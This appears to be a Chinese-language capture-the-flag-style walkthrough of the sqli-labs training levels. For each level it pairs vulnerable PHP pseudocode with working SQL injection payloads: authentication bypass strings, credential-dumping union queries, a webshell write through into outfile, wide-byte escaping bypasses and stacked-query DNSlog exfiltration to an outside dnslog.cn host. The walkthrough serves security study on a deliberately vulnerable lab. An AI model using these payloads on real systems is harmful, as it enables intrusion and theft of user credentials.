利用原理:直接拼接外部传入的id查询,并输出错误调试信息
# 单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# 支持联合、报错、布尔盲注、延时盲注
if true:
输出查询内容
else:
print_r(mysql_error());
解题方法:
一、判断注入是否存在(黑盒视角)
?id=1’+and+‘1’='1
回显的结果与id=1时是一样的
?id=1’+and+‘1’='2就发生了变化,由此判断注入点存在
?id=1’+order+by’3’’ 利用order by 判断列数
?id=-1’+union+select+1,2,3–+ 爆出数据库数据返回的显示位置
这里之所以要把id=-1是因为只返回一条数据所以要把前面的数据置否,以及上面最后用到的–+或者冒号(比如这里的–+也可以换成’,因为前面的id=-1’是对WHERE id='$id’中的前半部分闭合了,现在欠缺的是后半部分的闭合)都是为了闭合后面的无关语句,让自己的语句可以执行。
一般把后面的注释掉就可以去考虑前面的闭合了。
查询某一条具体数据需要经过的路径:数据库->数据库中有哪些表->数据库中表的字段->具体的数据查询
?id=-1’+union+select+1,2,database()’
?id=-1’+union+select+1,2,(select group_concat(table_name) from information_schema.tables where table_schema=“security”)’
?id=-1’+union+select+1,2,(select group_concat(column_name) from information_schema.columns where table_schema=“security” and table_name=“users”)’
?id=-1’+union+select+1,2,(select group_concat(id) from security.users )’
数值型注入,流程与Less-1大体相同
输入?id=2-1是1的信息,说明此处是数值型注入
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
# 支持联合、报错、布尔盲注、延时盲注
if true:
输出查询内容
else:
print_r(mysql_error());
?id=-1%20union%20select%201,2,database()–+
利用处为id=(‘$id’),流程与Less-1大体相同
?id=1%27)+and%20updatexml(1,concat(0x7e,(SELECT%20@@version),0x7e),1)–+
# 先双引号 在括号拼接
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
# 支持联合、报错、布尔盲注、延时盲注
if true:
输出查询内容
else:
print_r(mysql_error());
?id=-1")%20and%20updatexml(1,concat(0x7e,(select@@version),0x7e),1)–+
因为不输出查询的结果,这就导致不可以使用联合查询的注入方式
# 直接单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# 支持报错、布尔盲注、延时盲注
if true:
输出 You are in...........
else:
print_r(mysql_error());
?id=1%27+and+updatexml(1,concat(0x7e,(select@@version),0x7e),1)–+
id=“$id"和 Less-5 利用方式一致,只是闭合方式不一样,这里即不再啰嗦了。
?id=1”+and+updatexml(1,concat(0x7e,(select@@version),0x7e),1)–+
# 使用单引号加双层括号拼接
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
# 支持布尔盲注、延时盲注
if true:
输出 You are in.... Use outfile......
else:
输出 You have an error in your SQL syntax
//print_r(mysql_error());
?id=1’)) union select 1,2,“” into outfile “C:/phpStudy/PHPTutorial/WWW/1.php” %23
直接通过system函数执行系统命令
id='$id’和 Less-7 注入方式一致,只是拼接方式不一样
?id=1’ union select 1,2,“” into outfile “C:/phpStudy/PHPTutorial/WWW/1.php” %23
从源码中可以看到 if else 都输出的是 You are in………… 这样就不能通过布尔盲注来进行注入了,只能用最慢的延时注入。
# 使用单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# 支持延时盲注
if true:
输出 You are in............
else:
输出 You are in...........
?id=1%27%20and%20sleep(1000)–+
和 Less-9 利用方式一样,只是拼接方式不一样,具体可以参考 Less-9
# 先使用双引号再直接拼接
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
# 支持延时盲注
if true:
输出 You are in............
else:
输出 You are in...........
?id=1" and sleep(1000)–+
# POST 方式接受变量
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
# 使用单引号拼接 SQL
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
if true:
输出查询的信息
else:
print_r(mysql_error());
万能密码:
# 注释掉 passwd 来登录
uname=admin'--+&passwd=&submit=Submit
uname=admin'#&passwd=&submit=Submit
# 注释后面语句 并 添加一个永真条件
uname=admin&passwd=1' or 1--+&submit=Submit
uname=admin&passwd=1'||1--+&submit=Submit
uname=admin&passwd=1' or 1#&submit=Submit
uname=admin&passwd=1'||1#&submit=Submit
# 闭合后面语句 并 添加一个永真条件
uname=admin&passwd=1'or'1'='1&submit=Submit
uname=admin&passwd=1'||'1'='1&submit=Submit
联合查询:
uname=admin&passwd=admin' order by'2'#&submit=Submit
uname=admin&passwd=-1' union select 1,(SELECT GROUP_CONCAT(username,password) FROM users)#&submit=Submit
报错注入:
uname=admin&passwd=1’ and updatexml(1,concat(0x7e,(select@@version),0x7e),1)#&submit=Submit
username=(“x”)和 Less-11 的利用方式一样,只是 SQL 拼接方式不同.
uname=admin&passwd=-1") union select 1,(SELECT GROUP_CONCAT(username,password) FROM users)#&submit=Submit
# POST 方式接受变量
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
# 使用单引号和括号来拼接 SQL
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
if true:
并没有输出啥信息
else:
print_r(mysql_error())
uname=admin&passwd=-1’) and updatexml(1,concat(0x7e,(select@@version),0x7e),1)#&submit=Submit
# 先使用 双引号 再直接带入 SQL 语句
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
uname=admin&passwd=-1" and updatexml(1,concat(0x7e,(select@@version),0x7e),1)#&submit=Submit
username=‘x’源码中注释掉了 MySQL 的报错日志,所以这里就不可以进行报错注入了,只能使用布尔盲注或者延时盲注。
uname=admin&passwd=admin’ and 1>0#&submit=Submit
username=(“x”)和 Less-15 注入类型一致,更换对应的闭合方式即可。
uname=admin&passwd=admin") and 1>0#&submit=Submit
# uname 参数被过滤了
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
# SELECT 语句只获取了 uname 参数 但是被过滤了 没戏
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
if select 结果正确:
# 更新语句 使用单引号拼接 passwd
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
if mysql 报错:
print_r(mysql_error());
从源码中可以分享唯一的注入点是在 update 语句里面,只使用了单引号拼接。因为操作正确并没有啥提示,所以不能使用联合查询注入,因为输出了报错日志,所以还可以进行报错注入,那么下面就演示一下报错注入吧:
uname=admin&passwd=admin’ and updatexml(1,concat(0x7e,(select@@version),0x7e),1)#&submit=Submit
# 获取请求的 uagent 和 ip 地址
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
if 输入了uname 和 passwd:
# 对这两个参数进行过滤
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
if SQL语句有返回结果:
# 执行 insert 语句 这里 uagent 和 ip_address 通过单引号拼接 并且 没有过滤
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
输出 $uagent;
print_r(mysql_error());
else:
print_r(mysql_error());
所以这里的 IP 是无法被伪造的,这里只能通过修改 user-agent 来进行注入,考虑到 insert 语句的特殊性,这里使用闭合方式来闭合掉后面的语句,因为输出了 mysql 报错日志了,这里尝试报错注入效率会更高一点
User-Agent:1’ and updatexml(1,concat(0x7e,(select@@version),0x7e),1)and '1
# 获取请求的 referer 和 ip 地址
$uagent = $_SERVER['HTTP_REFERER'];
$IP = $_SERVER['REMOTE_ADDR'];
if 输入了uname 和 passwd:
# uname 和 passwd 参数均被过滤
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
if SQL语句有返回结果:
# 单引号拼接后直接带入 insert 语句
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
输出 $_SERVER['HTTP_REFERER']
print_r(mysql_error());
else:
print_r(mysql_error());
本关和 Less-18 异曲同工,只是这里的漏洞点出在了 referer 里面
if cookie 中不存在 uname 参数:
输出了一堆无用的信息
if 提交了 uname 和 passwd:
# 进行过滤
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$cookee = $row1['username'];
if 有查询结果:
# 将 uname 的值设置给 cookie 里面的 uname 参数
setcookie('uname', $cookee, time()+3600);
else:
print_r(mysql_error());
else:
if POST 数据里面没有 submit 参数:
$cookee = $_COOKIE['uname'];
# 直接将 cookee 通过单引号拼接到 SQL 语句中
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
if 查询无结果:
输出 mysql_error()
if 有结果:
输出查询的信息
else:
# 将 uname 的值设置给 cookie 里面的 uname 参数
setcookie('uname', $row1['username'], time()-3600);
?>
从源码中可以分析出 Less-20 要复杂一点,不过问题还是存在,从 cookie 中读取的 uname 参数值 并直接拼接到了 SQL 语句中了,这就导致了注入点的产生,并且还输出了查询信息,所以这里也是可以进行联合查询注入的。
Cookie: uname=admin’ and updatexml(1,concat(0x7e,(select@@version),0x7e),1)#
1、前20关主要是考察了sql注入中一些常见的利用点,基本上没有遇到需要绕过的情况,主要思路是:闭合前面的代码,闭合或注释后面的代码。在闭合后面代码时,如果清楚闭合符号,可以使用and 闭合符号 1的类似思路去闭合,以免后续影响代码的正常执行。
2、有回显的情况(报错注入、联合查询)和无回显的情况(延时盲注、布尔盲注)需要仔细分析。
if cookie 中不存在 uname 参数:
输出了一堆无用的信息
if 提交了 uname 和 passwd:
# 进行过滤
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
if 有查询结果:
# 将 uname 的值设置给 cookie 里面的 uname 参数
setcookie('uname', base64_encode($row1['username']), time()+3600);
else:
print_r(mysql_error());
else:
if POST 数据里面没有 submit 参数:
# 对 cookee 进行 base64 解密
$cookee = base64_decode($cookee);
# 直接将 cookee 通过单引号拼接到 SQL 语句中
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
if 查询无结果:
输出 mysql_error()
if 有结果:
输出查询的信息
else:
# 将 uname 的值设置给 cookie 里面的 uname 参数
setcookie('uname', base64_encode($row1['username']), time()-3600);
?>
从源码中分析可得,和 Less-20 基本上是一毛一样,只是 Cookie 这里是经过 base64 加密的,所以我们只需要传入加密后的 payload 给 cookie 的 uname 即可:
admin’) and updatexml(1,concat(0x7e,(select@@version),0x7e),1)#
base64编码后:
YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdEBAdmVyc2lvbiksMHg3ZSksMSkj
# 先双引号 然后直接拼接到SQL语句中
$cookee1 = '"'. $cookee. '"';
$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";
可以发现和 Less-21 相比,只是拼接方式不一样,其他都是一致的
admin" and updatexml(1,concat(0x7e,(select@@version),0x7e),1)#
base64编码:
YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0QEB2ZXJzaW9uKSwweDdlKSwxKSM=
# 获取到 id 的值
$id=$_GET['id'];
# 过滤了 id 中的 # 和 -- 然后 替换为 空
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
# 使用单引号拼接 SQL
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if 有查询结果:
输出查询信息
else:
print_r(mysql_error());
这道题思路很多,这里主要是通过过滤不严格,采用了别的效果的注释符:
?id=1’ and updatexml(1,concat(0x7e,(select@@version),0x7e),1);%00
或者在结尾使用and '1去闭合也是一样的道理
第一个页面index.php如下:
主要记录了表单相关的信息,没有啥敏感代码,当做 Index.html 来看待就可以了,逻辑是这样的:提示输入用户名和密码,用户名和密码正确之后就可以成功登陆,否则登陆失败。
忘记密码:左下角的忘记密码选项提示:如果你忘记密码 请 hack it
新建用户:右下角新建用户可以新建一个自己的用户
其余各页面的程序处理逻辑如下:
failed.php
检测会话,如果 cookie 里面没有 Auth 参数的话,就跳转到 index.php
forgot_password.php
简单提示:如果你忘记密码 请 hack it
Logged-in.php
登录后的信息展示,显示登录名称并且提供了修改密码的表单
new_user.php
创建新用户的表单页面,本文件主要存放前段代码。
login_create.php
创建新用户的后端代码,下面来简单理一下代码的流程:
# 接受用户提交的用户名和密码值 并进行 mysql 安全函数转义
username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
# 查询当前用户信息
$sql = "select count(*) from users where username='$username'";
如果当前用户已经存在 无法注册
if 两次输入密码一致:
# 将记录插入数据库中
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
查询完成后 重定向到首页
else:
提示两次输入密码不一致
login.php
# 登录用户名和密码都被过滤了
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
pass_change.php
if 检测未登录:
重定向到首页
if 检测到提交表单:
# 对 pass 都进行了过滤
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if 两次密码一致:
# 直接将 username 拼接到 SQL 语句
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
else:
提示密码不一致 并重定向到 fail.php
从代码上来看貌似都被转义了,乍一看是成功注入的。实际上的确不能使用常规的思路来进行注入,因为这题是二次注入,ISCC 2019 当时使用这题的考查点是修改掉 admin 用户的密码,然后再登录即可。假设不知道 admin 用户的情况下,想要修改掉 admin 用户的密码的话,这里就使用的是二次注入的姿势了。
二次注入 简单概括就是黑客精心构造 SQL 语句插入到数据库中,数据库报错的信息被其他类型的 SQL 语句调用的时候触发攻击行为。因为第一次黑客插入到数据库的时候并没有触发危害性,而是再其他语句调用的时候才会触发攻击行为,这个就是二次注入。
先看创建用户的地方,username 被 mysql_escape_string 函数过滤了,该函数将 \ ’ "加上\在前转义:
username = mysql_escape_string($_POST['username']) ;
再看下更新密码的核心语句:
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
这里直接使用单引号拼接了 username 所以当 username 可控的话 ,这里是存在SQL注入的,假设用户注册的 username 的值为:admin’#,那么此时的完整语句就为:
UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass'
步骤演示:
常见一个admin’#开头的用户名,下面列举的几种都可以,以此类推,很灵活:
admin'#1
admin'#233
admin'#gg
...
注册完成后数据库的记录信息如下:
mysql> select * from users;
+----+---------------+------------+
| id | username | password |
+----+---------------+------------+
| 20 | admin'#hacker | 111 |
+----+---------------+------------+
成功添加了记录,这里单引号数据库中中看没有被虽然转义了,这是因为转义只不过是暂时的,最后存入到数据库的时候还是没变的。
接下来登录 admin’#hacker 用户,然后来修改当前的密码:
此时来数据库中查看,可以发现成功修改掉了 admin 用的密码了:
mysql> select * from users;
+----+---------------+------------+
| id | username | password |
+----+---------------+------------+
| 8 | admin | 233 |
| 20 | admin'#hacker | 111 |
+----+---------------+------------+
# id 直接单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# 但是 id 被如下函数过滤了
$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/AND/i',"", $id);
return $id;
过滤了 or 和 and 关键词,简单绕过没什么好说的
?id=1’||extractvalue(1,concat(0x7e,database()))–+
id=$id
与 Less-25 相比,只是拼接方式改变,但因为代码中没有输出报错信息,所以也无法进行报错注入,其他利用方式都是一样的
?id=-1 union select 1,2,3–+
联合查询时,注意把前面的数据置否
?id=-1 union select 1,2,(SELECT+GROUP_CONCAT(username,passwoorrd+SEPARATOORR+0x3c62723e)+FROM+users)–+
password写成了
passwoorrd,
SEPARATOR写成
SEPARATOORR
看到这里就知道关闭详细信息的报错了
id=‘$id’
# 过滤了 or 和 and 大小写
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
# 过滤了 /*
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
# 过滤了 -- 和 # 注释
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
# 过滤了空格
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
# 过滤了斜线
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
注意:本关可能在windows下无法使用一些特殊的字符代替空格,此处是因为apache的解析的问题,需要更换到Linux平台下。
测试以下所有的参数,“OR”、“AND” 所有的注释符和空格全部都被过滤了。
?id=1'--+
?id=1'#
?id=1' OR 1 = 1--+
?id=1' AND 1 = 1--+
?id=1'/*
?id=1'/
?id=1'\
?id=1’发现存在报错注入
?id=1’ '前后闭合了
没闭合
闭合
直接使用报错注入,该手法无需理会空格问题。
-1’ || updatexml(1,concat(0x7e,database()),1) || ‘1’='1
id=(‘$id’)与 Less-26 相比,只是拼接方式改变了
测试闭合符号,同时发现报错关闭
发现此时页面正常返回
?id=100’%0Bunion%0Bselect%0B1,2,3%0Baandnd%0B’1’='1
id=(‘$id’)
# 过滤了 /*
$id= preg_replace('/[\/\*]/',"", $id);
# 过滤了 -
$id= preg_replace('/[--]/',"", $id);
# 过滤了 #
$id= preg_replace('/[#]/',"", $id);
# 过滤了空格
$id= preg_replace('/[ +]/',"", $id);
# 过滤了 select /m 严格模式 不可以使用双写绕过
$id= preg_replace('/select/m',"", $id);
$id= preg_replace('/select/s',"", $id);
$id= preg_replace('/Select/s',"", $id);
$id= preg_replace('/SELECT/s',"", $id);
# 过滤了 union UNION
$id= preg_replace('/union/s',"", $id);
$id= preg_replace('/Union/s',"", $id);
$id= preg_replace('/UNION/s',"", $id);
return $id;
直接使用报错注入,该手法无需理会空格问题。
-1’ || updatexml(1,concat(0x7e,database()),1) || ‘1’=‘1
联合查询要绕过关键字过滤,空格
?id=1’%0Bununionion%0BseLect%0B1,2,3%0Band%0B’1
id=“$id”
和 Less-27 相比,只是拼接方式发生了改变,又因为没有报错日志的输出,所以少了报错注入的利用方式,利用方式换汤不换药
?id=100" %0Bununionion%0BseLect%0B1,2,3%0Band%0B"1
id=(‘$id’)
# 过滤 /*
$id= preg_replace('/[\/\*]/',"", $id);
# 过滤 - # 注释
$id= preg_replace('/[--]/',"", $id);
$id= preg_replace('/[#]/',"", $id);
# 过滤 空格 +
$id= preg_replace('/[ +]/',"", $id);.
# 过滤 union select /i 大小写都过滤
$id= preg_replace('/union\s+select/i',"", $id);
return $id;
?id=100’)%0Bunion%0Bselect%0B1,2,3%0Band%0B('1
直接就绕过了
那些绕过的空格符实际上都已经执行的了,只是返回页面时看起来好像没执行,猜测是url浏览器解码导致的
id=(‘$id’)
?id=-1’) union%a0select 1,2,3 --+没啥可说的直接莽就完事了
这一关分为三个页面
index.php
# id = 'x' 的拼接方式
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if 查询到结果:
输出查询的详细信息
else:
print_r(mysql_error());
没啥好说的直接注入就可以
?id=-1’ union select 1,2,3 --+
login.php
# 查询 query 的字符串
$qs = $_SERVER['QUERY_STRING'];
# 模拟 tomcat 的查询函数 处理一下
$id1=java_implimentation($qs);
$id=$_GET['id'];
# 再次过滤检测
whitelist($id1);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if 查询到结果:
输出查询的详细信息
else:
print_r(mysql_error());
?>
function java_implimentation($query_string)
{
$q_s = $query_string;
# & 作为分隔符 分割字符串
$qs_array= explode("&",$q_s);
# 遍历 qs_array 数组
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
# 如果数组前两位是 id 的话
if($val=="id")
{
# 截取 $value 的3-30 的字符串 作为 id 的值
$id_value=substr($value,3,30);
return $id_value;
echo "
";
break;
}
}
}
function whitelist($input)
{
# 过滤规则 检测数字
$match = preg_match("/^\d+$/", $input);
if 不符合规则:
header('Location: hacked.php');
}
从代码中还是很容易发现问题的,关键问题出在下面的地方:
$id1=java_implimentation($qs);
...
whitelist($id1);
whitelist` 过滤是比较严格的,如果 id 不是数字的话就会直接重定向到 `hacked.php`,这里是没毛病的。那么问题出在了这里函数`$id1=java_implimentation($qs);
因为 return 表示了函数的结束运行,所以这个函数捕捉到 id 的时候就会返回 return $id_value,这样就导致了 用户加入构造两组 id 的话,那么后面的 id 就会绕过函数检测。
假设用户输入这样的语句:
index.php?id=1&id=2
Apache PHP 会解析最后一个参数
Tomcat JSP 会解析第一个参数
知道这个原理的话后面尝试直接注入吧:
login.php?id=1&id=-2’ union select 1,2,3–+
id=“$id”
和 Less-29 相比没有啥本质变化,只是拼接方式不一样
?id=1&id=-2" union select 1,2,3–+
id=(“$id”)
和 Less-29 相比没有啥本质变化,只是拼接方式不一样
?id=1&id=-2") union select 1,2,3–+
id=‘$id’
if(isset($_GET['id']))
$id=check_addslashes($_GET['id']);
# 在' " \ 等敏感字符前面添加反斜杠
function check_addslashes($string)
{ # \ 转换为 \\
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); 将 # 将 ' 转为\"
$string = preg_replace('/\'/i', '\\\'', $string);
# 将 " 转为\"
$string = preg_replace('/\"/', "\\\"", $string);
return $string;
}
宽字节注入原理
MySQL 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如 %aa%5c 就是一个 汉字。因为过滤方法主要就是在敏感字符前面添加 反斜杠 \,所以这里想办法干掉反斜杠即可。
%df 吃掉 \
具体的原因是 urlencode(') = %5c%27,我们在%5c%27 前面添加%df,形 成%df%5c%27,MySQL 在 GBK 编码方式的时候会将两个字节当做一个汉字,这个时候就把%df%5c 当做是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。
将 \' 中的 \ 过滤掉
例如可以构造 %5c%5c%27 的情况,后面的%5c会被前面的%5c 给注释掉。这也是 bypass 的一种方法。
本关卡采用第一种 %df 宽字节注入来吃掉反斜杠
?id=1%df%27%20and%20updatexml(1,concat(0x7e,(select%20version())),1)–+
id='$id’拼接方式也是一样的,过滤方法细节有点变化,具体如下:
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}
该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串,和 Less-32 的函数功能是差不的,依旧可以使用宽字节进行注入。
使用 addslashes(),我们需要将 mysql_query 设置为 binary 的方式,才能防御此漏洞
?id=1%df%27%20and%20updatexml(1,concat(0x7e,(select%20version())),1)–+
username=‘$uname’
过滤方法依然和 Less-33 一致,只是由 GET 型变成了 POST 型,所以下面直接丢 POST 的数据包 payload 了:
$uname = addslashes($uname1);
$passwd= addslashes($passwd1);
uname=admin%df’ union select 1,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users)#&passwd=233
由于数据库编码问题没有成功
一种特别的万能密码构造方法:
将 utf-8 转换为 utf-16 或 utf-32,例如将 ’ 转为 utf-16 为�
我们就 可以利用这个方式进行尝试,可以使用 Linux 自带的 iconv 命令进行 UTF 的编码转换
➜ ~ echo \'|iconv -f utf-8 -t utf-16
��'
➜ ~ echo \'|iconv -f utf-8 -t utf-32
��'
首先尝试一个经典的万能密码:
uname=�’ or 1#&passwd=
为什么这个万能密码可以生效呢,因为拼接到 SQL 中是如下的效果:
SELECT username, password FROM users WHERE username='�' or 1#and password='$passwd' LIMIT 0,1
也可以这样子进行联合查询:
uname=�’ and 1=2 union select 1,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users)#&passwd=
id=$id
首先 id 使用了如下规则过滤:
$id=check_addslashes($_GET['id']);
function check_addslashes($string)
{
$string = addslashes($string);
return $string;
}
但是本关的拼接方式是:
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
实际进行注入利用的时候并不需要写单引号,那么就尝试直接注入看看吧:
?id=1 and updatexml(1,concat(0x7e,(select version())),1)
id=‘$id’
$id=check_quotes($_GET['id']);
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}
?id=1%df’ and updatexml(1,concat(0x7e,(select version())),1)–+
username=‘$uname’
依然使用了 和 Less-36 的防护方法,所以利用思路也是一毛一样的,只是由 GET 型变成了 POST 型了,下面就直接尝试注入吧:
$uname = mysql_real_escape_string($uname1);
$passwd= mysql_real_escape_string($passwd1);
uname=%df’ and 1=2 union select 1,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users)#&passwd=
或者
uname=�’ and 1=2 union select 1,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users)#&passwd=
MySQL 的命令行中,每一条语句以;结尾,这代表语句的结束,如果在注入过程中在;后面添加要执行的 SQL 语句的话,这种注入方式就叫做堆叠注入 ,与 union select 联合查询相比,堆叠查询更加灵活,可以执行任意的 SQL 语句,比如:
mysql> select * from users where id = 1;select version();
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
+-------------------------+
| version() |
+-------------------------+
| 5.5.44-0ubuntu0.14.04.1 |
+-------------------------+
1 row in set (0.00 sec)
但并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎的影响。
在 Web 中代码通常只返回一个查询结果,因此,堆叠注入第 二个语句产生错误或者结果只能被忽略
这个就是为什么我们尝试用 union select 联合查询的原因,使用堆叠注入前,我们还需要了解数据库的相关信息才可以,如表名、列名等。
各个数据库堆叠查询实例:
MySQL
select * from users where id=1;select version();
SQL Server
select 1,2,3;select * from test;
Postgresql
select * from user_test;select 1,2,3;
id=‘$id’
又到了简单源码分析的时间了,来看看堆叠注入的代码是如何实现的:
# id 参数直接带入到 SQL 语句中
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if (mysqli_multi_query($con1, $sql)):
输出查询信息
else:
print_r(mysqli_error($con1));
发现和之前的关卡区别不大,唯一的区别就是查询 SQL 语句由原来的:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
?id=1’;select load_file(concat(‘\\’,(select hex(concat_ws(‘~’,username,password)) from users limit 0,1),‘.7olrrg.dnslog.cn\abc’))–+
发现无数据返回到dnslog中查看
随便找个16进制转解码
id=$id
和 Less-38 相比没有啥区别,只是拼接方式不一样
?id=1;select load_file(concat(‘\\’,(select hex(concat_ws(‘~’,username,password)) from users limit 0,1),‘.lqubgj.dnslog.cn\abc’))–+
id=(‘$id’)
和 Less-38 相比只是拼接方式不一样。
但是看了这一关源码下面还有其他文件,类似于 Less-24 的二次注入,看了下源码貌似和 Less-24 是一样的,可能是作者的疏忽吧,忘记删掉这些不相干的文件了
?id=1’);select load_file(concat(‘\\’,(select hex(concat_ws(‘~’,username,password)) from users limit 0,1),‘.lqubgj.dnslog.cn\abc’))–+
id=$id
和 Less-39 类似,因为少了报错输出,所以这里不能报错注入,其他注入方式一样,这里不再赘述
username=‘$username’
index.php
没有啥核心代码,PHP 和 HTML 混写,只要写了登录的表单,并提供了忘记密码和创建用户的链接,相比于 Less-24 的二次注入,这两个链接都不能直接访问,无法直接创建用户。
forgot_password.php
if you forgot your password,go to hack it
acc-create.php
if you need to create account,then hack your way in
failed.php
Bug off you silly dump hacker
login.php
# username 被过滤 ' " \ password 没有被
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
# 堆叠查询
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
mysqli_multi_query($con1, $sql))
if 查询成功:
return $row[1];
else:
print_r(mysqli_error($con1));
if 登录成功:
setcookie("Auth", 1, time()+3600);
跳转到 logged-in.php
logged-in.php
登录成功,提供修改密码的表单
<form name="mylogin" method="POST" action="pass_change.php">
pass_change.php
if 没有登录:
重定向到 index.php
if 提交了修改密码表单:
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if $pass==$re_pass:
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
这一题漏洞比较多,首先 login.php 中 password 没有过滤,可以进行常规的报错注入以及盲注,同时本身又支持堆叠查询,所以也支持堆叠注入。 pass_change.php update 语句存在漏洞,典型的二次注入,类似于 Less-24。
经典的万能密码绕过 1’ or 1#
username=(‘$username’)
和 Less-42 的利用方式一致,这里只是拼接方式不一样而已
username=‘$username’
和 Less-43 的利用方式一致,因为没有输出报错信息,所以这里少了报错注入的利用方式。
username=(‘$username’)
与 Less-43 闭合方式一致,只是这里少了报错注入的利用方法
进入页面后看到这样的提示,输入sort参数尝试
order by 不同于 where 后的注入点,不能使用 union 等进行注入,注入方式十分灵活
# GET 方式获取 sort 参数
$id=$_GET['sort'];
# 直接将 id 带入 SQL 中
$sql = "SELECT * FROM users ORDER BY $id";
if 查询成功:
输出查询信息
else:
print_r(mysql_error());
验证方式
# 升序排序
?sort=1 asc
# 降序排序
?sort=1 desc
#rand(ture) 和 rand(false) 的结果是不一样的
?sort=rand(true)
?sort=rand(false)
#所以利用这个可以轻易构造出一个布尔和延时类型盲注的测试 payload,此外 rand() 结果是一直都是随机的
?sort=rand()
?sort=1 and rand()
?sort=sleep(1)
?sort=(sleep(1))
?sort=1 and sleep(1)
这种方式均可以延时,延时的时间为 (行数*1) 秒
报错注入
